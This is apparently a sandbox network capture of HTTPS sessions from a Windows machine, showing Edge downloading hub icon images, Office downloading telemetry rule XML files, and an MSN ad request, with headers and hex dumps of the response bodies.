PNGIHDR((mpHYs%%IR$sRGBgAMAa(IDATxWk$Eg]= ^=(AAD<fSB@r\$9H@/%5UWNZ"SRW]}t`9c9?bR^ARJt{zw{{gh9Z<::@CV=48

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.6	49909	13.107.246.57	443	5076	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:38 UTC	430	OUT	GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-28 01:07:39 UTC	523	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:39 GMT Content-Type: image/png Content-Length: 2008 Connection: close Last-Modified: Tue, 10 Oct 2023 17:24:26 GMT ETag: 0x8DBC9B5C0C17219 x-ms-request-id: a4eca6ae-001e-0023-79d5-2807cc000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241028T010738Z-r197bdfb6b4g24ztpxkw4umce800000005v0000000006ufs Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-10-28 01:07:39 UTC	2008	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 6d 49 44 41 54 78 01 ed 98 bf 6f 14 47 14 c7 df ec 9d 11 48 48 5c aa 94 de 74 74 18 45 a9 59 24 0a d2 24 54 91 a0 f1 39 44 24 45 24 ec 32 0d be 28 05 44 14 98 2a e9 7c 96 50 e4 26 32 11 2d 02 47 91 02 4d 64 a3 08 25 92 a5 70 fc 05 18 ff 38 df ed af 97 ef 77 76 66 bd 36 07 67 9b 58 69 18 69 34 b3 b3 bb b3 9f fb ce 7b 6f de 9c c8 bb f2 76 c5 c8 21 95 bf 66 35 4c 33 59 8a 33 6d e0 33 53 1f 7e 69 66 38 fe 74 56 c7 b2 54 1e 26 a9 34 f2 4c a6 3e fa ba 18 ff e3 96 36 7b 89 cc 6e f5 45 92 2c 9b f8 b8 55 6f 73 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAamIDATxoGHH\ttEY$$T9D$E$2(D*\|P&2-GMd%p8wvf6gXii4{ov!f5L3Y3m3S~if8tVT&4L>6{nE,Uos

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.6	49910	13.107.246.57	443	5076	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:38 UTC	422	OUT	GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-28 01:07:39 UTC	523	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:39 GMT Content-Type: image/png Content-Length: 2229 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:24 GMT ETag: 0x8DBD59359A9E77B x-ms-request-id: eec394f9-901e-0026-15d5-28f3b3000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241028T010738Z-r197bdfb6b4c8q4qvwwy2byzsw00000004m0000000002n7t Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-10-28 01:07:39 UTC	2229	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 08 4a 49 44 41 54 78 01 ed 98 6d 88 5c 57 19 c7 9f e7 dc 7b 37 89 49 9a dd 6c 5e d6 96 c0 c4 36 a1 d5 2f 49 a1 92 22 ea 06 ac a4 41 21 05 41 2a e8 ee 16 a4 82 e0 26 62 a5 b5 92 99 f1 8b 2f 68 b3 fd 92 16 ad 64 fb 29 16 62 53 6d 68 17 15 b2 a2 ed 07 b1 6c a8 95 d6 97 74 36 a9 35 69 d2 90 dd 6d bb 9b 99 7b ce 79 fc 3f e7 dc d9 8d 99 24 b3 2f f9 d8 03 77 9e 7b ce dc b9 e7 77 ff cf cb 39 77 88 3e 6c 4b 6b 4c 37 a8 f5 ee 1d 2b a5 44 25 c2 47 9a d2 f8 c8 8f b6 8f d3 0d 68 4b 06 dc f1 8d df f7 ae cc ba cb 6c a8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaJIDATxm\W{7Il^6/I"A!A*&b/hd)bSmhlt65im{y?$/w{w9w>lKkL7+D%GhKl

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.6	49915	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:38 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:39 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:38 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: 60449bdf-301e-005d-500b-26e448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010738Z-16849878b7867ttgfbpnfxt44s000000046000000000bg02 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 01:07:39 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.6	49918	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:39 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:39 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:39 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: cf3e7330-401e-0078-5ca6-264d34000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010739Z-16849878b7828dsgct3vrzta7000000002sg0000000089vs x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:39 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.6	49917	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:39 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:39 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:39 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: 338a3e6d-c01e-0079-709c-27e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010739Z-16849878b78hh85qc40uyr8sc800000004gg00000000mmxf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:39 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.6	49919	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:39 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:39 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:39 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: a9595a72-801e-0015-2bad-26f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010739Z-16849878b78fhxrnedubv5byks00000002ng00000000aq2x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:39 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.6	49920	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:39 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:39 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:39 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 9a40e34d-b01e-005c-559c-274c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010739Z-16849878b78fssff8btnns3b1400000004m000000000bwhp x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:39 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.6	49921	13.107.246.57	443	5076	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:39 UTC	425	OUT	GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-28 01:07:39 UTC	543	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:39 GMT Content-Type: image/png Content-Length: 1154 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:30 GMT ETag: 0x8DBD5935D5B3965 x-ms-request-id: 3b7f99e2-a01e-0061-032b-282cd8000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241028T010739Z-15b8d89586fvpb597drk06r8fc00000005fg000000000nup Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-10-28 01:07:39 UTC	1154	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 04 17 49 44 41 54 78 01 ed 97 cf 6f db 64 18 c7 bf 76 6a ea 34 69 e3 26 4b d4 b4 30 d2 f1 ab 4c 9a 96 c1 6e ed a1 30 0e 5c 10 4c b0 d3 0e ed 05 c1 05 35 3d ec 00 97 66 ff 41 72 43 02 a9 1a bb 70 03 c4 0d 6d 62 48 4c e2 f7 3a 0a 62 17 56 6b ab d6 aa cd 1a 37 4d 66 c7 89 fd ee 7d 9d 25 6b 1b 27 b1 1b 57 bd e4 23 39 f1 ef 7e fa 3c ef f3 bc 6f 80 1e 3d 8e 16 ce e9 8d c2 87 3f 24 4d 42 7e 04 88 04 2f e1 20 13 82 ac f9 e5 db 19 bb cb 3c 1c 62 10 73 d1 73 39 06 41 82 03 b7 80 d9 6f 6c df ed 38 82 13 5f 6f 10 b8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxodvj4i&K0Ln0\L5=fArCpmbHL:bVk7Mf}%k'W#9~<o=?$MB~/ <bss9Aol8_o

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.6	49922	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:39 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:39 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:39 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: e02f31dd-001e-0082-0849-275880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010739Z-16849878b78hh85qc40uyr8sc800000004k000000000edyt x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:39 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.6	49923	13.107.246.57	443	5076	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:39 UTC	431	OUT	GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-28 01:07:40 UTC	536	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:39 GMT Content-Type: image/png Content-Length: 1468 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:14 GMT ETag: 0x8DBDCB5E23DFC43 x-ms-request-id: 155b9113-f01e-0072-1c90-281939000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241028T010739Z-16849878b78qg9mlz11wgn0wcc00000003ug00000000mrq1 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 01:07:40 UTC	1468	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 51 49 44 41 54 78 01 ed 97 4b 6c 54 55 18 c7 ff e7 4e 19 62 da e0 b0 a1 01 03 5c 82 51 7c 52 16 1a 6d 6b 42 57 c4 c7 c2 2e 8c 26 24 46 62 44 17 26 b4 04 62 5c a0 ad 1a 63 dc c8 82 85 89 26 b4 09 68 89 1a a7 18 79 24 1a c6 05 75 41 02 17 19 23 46 03 13 10 4a 35 c8 50 fa 9a b9 f7 9c cf ef 3c ee 74 a6 96 76 da a6 2b e6 4b 4f ef cc b9 e7 9e ef 77 ff df e3 de 01 6a 56 b3 9a d5 ec ce 36 81 45 b6 cd 67 28 85 89 89 14 22 f8 20 e9 4b 0f 29 41 22 25 3c ac 85 42 8a a4 f2 a9 a8 52 8d e1 c5 d4 d5 70 75 3e 49 de a6 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaQIDATxKlTUNb\Q\|RmkBW.&$FbD&b\c&hy$uA#FJ5P<tv+KOwjV6Eg(" K)A"%<BRpu>I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.6	49925	20.99.186.246	443	5076	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:40 UTC	1067	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=335586F4D9E8607124F893D2D81961F7&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=b3c74670122b421b8c913c373ea68470 HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=335586F4D9E8607124F893D2D81961F7; _EDGE_S=F=1&SID=13EA95B0122E6C2A23EE809613436DDC; _EDGE_V=1
2024-10-28 01:07:40 UTC	674	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 297 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"2,,"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Mon, 28 Oct 2024 01:07:39 GMT Connection: close
